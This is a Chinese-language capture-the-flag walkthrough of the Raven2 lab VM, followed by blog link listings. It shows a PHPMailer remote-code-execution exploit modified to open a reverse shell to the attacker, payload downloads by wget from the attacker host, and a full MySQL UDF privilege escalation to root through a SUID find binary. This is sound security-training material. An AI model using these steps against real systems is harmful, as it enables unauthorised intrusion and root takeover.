记一次 Raven2 渗透(phpmailer漏洞+UDF提权)
目录:
1. 寻找IP
2.dirb目录爆破
2.PHPMailer漏洞反弹得到shell
3.python版本的exp修改
4.查看wordpress的wp-config.php配置文件得到数据库账号和密码
5.使用LinEnum.sh对linux进行信息收集
6.mysqlUDF提权,kali对EXP的编译
7.给程序chmod u+s 增加suid权限,可以以root来运行
8.利用带有suid标志的find命令进行命令执行拿到root权限
0x01 寻找IP
安装好了我们的靶机,当然我们不知道账号密码,也不知道当前的ip ,一开始当然先寻找IP咯
使用命令:
nmap -sn 192.168.48.1/24

起始的IP是 1,而我们kali的ip是157 , 254是结束ip ,156应该就是我们靶机的ip了,扫下开了什么端口呢,-sS只扫描了1000以内的端口,这边我们就直接用-p-参数了,看到有22,80,111,39934端口,

先看下80端口,发现没啥好利用的东西

0x02 目录扫描
这边我们使用到了dirb目录扫描,扫出来很多了目录,找了半天才找到这个vendor,嘤嘤嘤~

在/vendor/PATH路劲下我们发现了第一枚flag

还有一个README.MD,发现有一个PHPmailer,百度了一下是一个发送邮件类,版本是5.2

还发现了了个version,但是不知道是哪个软件的

这边百度了一下,发现存在phpmailer远程命令执行漏洞 ,这边直接用kali自带的searchploit,并且将其复制到我们的根目录下


复制到了根目录,我们要修改下exp,下图中红框标注的是修改的地方
在开头加上这些东西,否则注释里一大堆非ASCII字符会报错

修改target为靶机IP地址,利用文件为contact.php,生成的后门文件为bb.php

修改成你的攻击机的ip和监听的端口

修改成后门文件的绝对路径

这时候我们执行exp
pyhthon3 40974.py

这个时候访问contact.php,就会生成我们的后门文件bb.php,然后我们就kali监听我们的4444端口(exp设置的是4444端口),先监听再去访问哦~

用python切换到交互shell,,我这儿没用,因为不知道为什么是双字母了,后面还是太年轻了, (nc模式下的shell不支持su交互,还是得先利用python提升到伪终端)
python -c 'import pty;pty.spawn("/bin/bash")'
一猜当前肯定只是www权限,果不其然。而且当前目录是/var/www/html目录下

我们cd上个目录,发现了flag2.txt
,
而且在 /var/www/ 目录下,看到了有个wordpress目录,而且目录下有配置文件config.php,一看直接受不了了,mysql数据库的账号密码直接看到了

题目提示的是有3个flag,看来是要提权了,这边直接在我的kali上安装一个LinEnum.sh是对LINUX进行信息收集,方便提权使用,项目地址:https://github.com/rebootuser/LinEnum ,复制到本地服务器上进行编译,在传到目标机上,
、
在目标机用wget下载就好啦,不知道python交互的时候怎么回事,字母都是双写,一直解决不了,很烦!(ps:后面采用xshell 连接kali,成功解决,图就难的改了 哈哈)

收集到mysql 是root权限,试试udf提权呢。

连接上了数据库,查看版本,看到版本是5.5.60是可以udf提权的哈,这边也是用kali先下载编译好exp,不过有个小坑,我kali使用wget下载的时候编译文件一直报错,没办法 我就只好采用手动复制的方法去将exp复制下来,exp网址:https://www.exploit-db/download/1518

当我们复制好了代码,新建一个名字为raptor_udf.c的文件,将exp复制进去。然后编译
gcc -g -c raptor_udf.c
gcc -g -shared -o raptor_udf.so raptor_udf.o -lc

然后将raptor_udf2.so 复制到本地网站服务器上,
靶机去下载
cd /tmp
wget http://192.168.48.157/raptor.udf.so


接着就去mysql敲命令就行了
mysql> use mysql;
use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> create table foo(line blob);
create table foo(line blob);
Query OK, 0 rows affected (0.08 sec)
mysql> insert into foo values(load_file('/tmp/raptor_udf.so'));
insert into foo values(load_file('/tmp/raptor_udf.so'));
Query OK, 1 row affected (0.01 sec)
mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf.so';
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf.so';
Query OK, 1 row affected (0.11 sec)
mysql> create function do_system returns integer soname 'raptor_udf.so';
create function do_system returns integer soname 'raptor_udf.so';
Query OK, 0 rows affected (0.00 sec)
mysql> select * from mysql.func;
select * from mysql.func;
+-----------+-----+---------------+----------+
| name | ret | dl | type |
+-----------+-----+---------------+----------+
| do_system | 2 | raptor_udf.so | function |
+-----------+-----+---------------+----------+
row in set (0.00 sec)
mysql> select do_system('chmod u+s /usr/bin/find');
select do_system('chmod u+s /usr/bin/find');
+--------------------------------------+
| do_system('chmod u+s /usr/bin/find') |
+--------------------------------------+
| 0 |
+--------------------------------------+
row in set (0.01 sec)
mysql> exit
exit
Bye
www-data@Raven:/tmp$ touch finn
touch finn
www-data@Raven:/tmp$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@Raven:/tmp$ find finn -exec "/bin/sh" \;
find finn -exec "/bin/sh" \;
# whoami
whoami
root
#
最后看到我们提权成功了啊,做了一下午 舒服啊~

成功得到最后一个flag

记一次 Raven2 渗透(phpmailer漏洞+UDF提权)的更多相关文章
- MySQL的system命令在渗透测试中的使用以及UDF提权
声明:下面引用关于SYSTEM的东西是自己之前的内容,是自己没有研究透导致的错误结论:有了错就要改,做技术的不能弄虚作假,时时刻刻要求自己要谨慎,虽然我的博客没人看,但是也要向所有已经看到的人道歉,错 ...
- MySQL UDF提权执行系统命令
目录 UDF UDF提权步骤 UDF提权复现(php环境) UDF UDF (user defined function),即用户自定义函数.是通过添加新函数,对MySQL的功能进行扩充,其实就像使用 ...
- udf提权方法和出现问题汇总
一.适用条件 1.目标系统是Windows(Win2000,XP,Win2003): 2.你已经拥有MYSQL的某个用户账号,此账号必须有对mysql的insert和delete权限以创建和抛弃函数( ...
- udf提权原理详解
0x00-前言 这个udf提权复现搞了三天,终于搞出来了.网上的教程对于初学者不太友好,以至于我一直迷迷糊糊的,走了不少弯路.下面就来总结一下我的理解. 想要知道udf提权是怎么回事,首先要先知道ud ...
- udf提权
0x00前言: udf提权是通过数据库来实现获取目标的管理员的shell,来达到从低权限提权到高权限 0x01什么是udf: udf(Userdefined function)是用户自定义函数 在my ...
- SQLMAP UDF提权
SQLMAP UDF提权 1.连接mysql数据打开一个交互shell: sqlmap.py -d mysql://root:root@127.0.0.1:3306/test --sql-s ...
- [视频]K8飞刀 mysql注入点拿shell & UDF提权教程
[视频]K8飞刀 mysql注入点拿shell & UDF提权教程 链接: https://pan.baidu.com/s/1a7u_uJNF6SReDbfVtAotIw 提取码: ka5m
- 疑难杂症----udf提权无法导出.dll
昨天进行测试一个网站,进行udf提权时候,没办法导出.dll, 起初以为是这个马的问题,后来用专用马,一样不行,但是有报错了,有上网找了半天,终于被我找到了. Mysql数据库从文件导入或导出到文件, ...
- mysql udf提权实战测试
根据前天对大牛们的资料学习,进行一次mysql udf提权测试. 测试环境: 受害者系统:centos 7.7 ,docker部署mysql5.6.46, IP:192.168.226.128 攻击者 ...
随机推荐
- 2.4V升5V芯片,8uA功耗,低功耗升压电路图
2.4V升5V,可用于USB拔插充电,也可以用于把两节镍氢电池2.4V升压到5V,的固定输出稳压电压值,同时输出电流可达1A,0.5A等 首先是先说下0.5A的这款的话,是比较低功耗的,8uA左右的输 ...
- SUGA
愿试炼的终点是花开万里 愿以渺小启程伟大结束 ----闵玧其
- 【pytest】(十二)参数化测试用例中的setup和teardown要怎么写?
还是一篇关于pytest的fixture在实际使用场景的分享. fixture我用来最多的就是写setup跟teardown了,那么现在有一个用例是测试一个列表接口,参数化了不同的状态值传参,来进行测 ...
- 《awk中文手册》-本人参考官方手册翻译
01. 简介 AWK是一个文本(面向行和列)处理工具,同时它也是一门脚本语言. AWK其名称得自于它的创始人 Alfred Aho .Peter Weinberger 和 Brian Kernigha ...
- ubuntu安装mysql5.6
安装mysql5.6在ubuntu上安装mysql5.6的版本 1.添加mysql5.6的源 sudo apt-get install software-properties-common sudo ...
- 抓包一张tcpdump小抄就够了
作者简介 李先生(Lemon),高级运维工程师(自称),SRE专家(目标),梦想在35岁买一辆保时捷.喜欢钻研底层技术,认为底层基础才是王道.一切新技术都离不开操作系统(CPU.内存.磁盘).网络等. ...
- Java实现QQ邮件发送客户端
目录 一.前言:QQ邮件发送程序 二.封装SMTP操作 三.实现多线程接收 四.QQ邮件客户端界面设计 1.连接按钮 2.发送按钮 五.QQ邮件发送效果演示 六.总结 一.前言:QQ邮件发送程序 在上 ...
- Linux下unix socket 读写 抓包
Linux下unix socket 读写 抓包-ubuntuer-ChinaUnix博客 http://blog.chinaunix.net/uid-9950859-id-247877.html
- Enables DNS lookups on client IP addresses 域名的分层结构
虚拟域名访问,路由可以到达,但无输出. http://httpd.apache.org/docs/2.2/mod/core.html#hostnamelookups 移动解析 HttpDNS_域名解析 ...
- 为什么在使用LESS 除法计算时会出问题
hello,各位小伙伴们好,最近一直有小伙伴问我为什么写Less的时候,发现除法有了问题,在生成的css文件中,不给我们输出正确结果了. 直接抛结论: LESS 版本升级,EasyLess插件 新版本 ...